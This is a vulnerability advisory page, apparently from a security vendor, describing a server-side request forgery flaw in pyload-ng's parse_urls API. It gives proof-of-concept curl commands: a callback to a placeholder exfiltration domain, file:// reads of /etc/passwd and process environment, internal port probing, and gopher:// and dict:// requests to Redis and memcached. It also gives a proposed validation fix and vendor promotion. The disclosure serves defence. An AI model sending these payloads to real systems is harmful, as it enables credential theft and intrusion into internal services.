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GHSA-2wvg-62qm-gj33

HIGH

GHSA-2wvg-62qm-gj33 is a high-severity (CVSS 7.7) remote code execution vulnerability in pyload-ng. O3 Security confirms whether GHSA-2wvg-62qm-gj33 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter

Also known asCVE-2026-35187PYSEC-2026-2988
Published
Apr 4, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed

Blast Radius

1 pkg affected
🐍pyload-ng

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Vulnerability Details

CWE-918: Server-Side Request Forgery (SSRF)

The parse_urls API function in src/pyload/core/api/__init__.py (line 556) fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:

  • Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
  • Read local files via file:// protocol (pycurl reads the file server-side)
  • Interact with internal services via gopher:// and dict:// protocols
  • Enumerate file existence via error-based oracle (error 37 vs empty response)

Vulnerable Code

src/pyload/core/api/__init__.py (line 556):

def parse_urls(self, html=None, url=None):
    if url:
        page = get_url(url)  # NO protocol restriction, NO URL validation, NO IP blacklist
        urls.update(RE_URLMATCH.findall(page))

No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.

Steps to Reproduce

Setup

docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest

Log in as any user with ADD permission and extract the CSRF token:

CSRF=

PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)

curl -s -b "pyload_session_8000=<SESSION>"   -H "X-CSRFToken: "   -H "Content-Type: application/x-www-form-urlencoded"   -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc"   http://localhost:8084/api/parse_urls

Result: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.

PoC 2: Local file read via file:// protocol

# Reading /etc/passwd (file exists) -> empty response (no error)
curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls
# Response: {}

# Reading nonexistent file -> pycurl error 37
curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls
# Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}

The difference confirms pycurl successfully reads local files. While parse_urls only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle.

Files confirmed readable:

  • /etc/passwd, /etc/hosts
  • /proc/self/environ (process environment variables)
  • /config/settings/pyload.cfg (pyLoad configuration)
  • /config/data/pyload.db (SQLite database)

PoC 3: Internal port scanning

curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls
# Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')

PoC 4: gopher:// and dict:// protocol support

curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls
curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urls

Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).

Impact

An authenticated user with ADD permission can:

  • Read local files via file:// protocol (configuration, credentials, database files)
  • Enumerate file existence via error-based oracle (Couldn't open file vs empty response)
  • Access cloud metadata endpoints (AWS IAM credentials at http://169.254.169.254/, GCP service tokens)
  • Scan internal network services and ports via error-based timing
  • Interact with internal services via gopher:// (Redis RCE, SMTP relay) and dict://
  • Exfiltrate data via DNS/HTTP to attacker-controlled servers

The multi-protocol support (file://, gopher://, dict://) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.

Proposed Fix

Restrict allowed protocols and validate target addresses:

from urllib.parse import urlparse
import ipaddress
import socket

def _is_safe_url(url):
    parsed = urlparse(url)
    if parsed.scheme not in ('http', 'https'):
        return False
    hostname = parsed.hostname
    if not hostname:
        return False
    try:
        for info in socket.getaddrinfo(hostname, None):
            ip = ipaddress.ip_address(info[4][0])
            if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
                return False
    except (socket.gaierror, ValueError):
        return False
    return True

def parse_urls(self, html=None, url=None):
    if url:
        if not _is_safe_url(url):
            raise ValueError("URL targets a restricted address or uses a disallowed protocol")
        page = get_url(url)
        urls.update(RE_URLMATCH.findall(page))

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐍PyPIpyload-ngall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of pyload-ng has shipped for GHSA-2wvg-62qm-gj33 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-2wvg-62qm-gj33 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-2wvg-62qm-gj33. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Vulnerability Details **CWE-918**: Server-Side Request Forgery (SSRF) The `parse_urls` API function in `src/pyload/core/api/__init__.py` (line 556) fetches arbitrary URLs server-side via `get_url(url)` (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can: - Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints - **Read local files** via `file://` protocol (pycurl reads the file server-side) - **Interact with internal services** via `gopher://` and `dict://` protocols - **Enumerate file exis
O3 Security · Impact-Aware SCA

Is GHSA-2wvg-62qm-gj33 in your dependencies?

O3 detects GHSA-2wvg-62qm-gj33 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.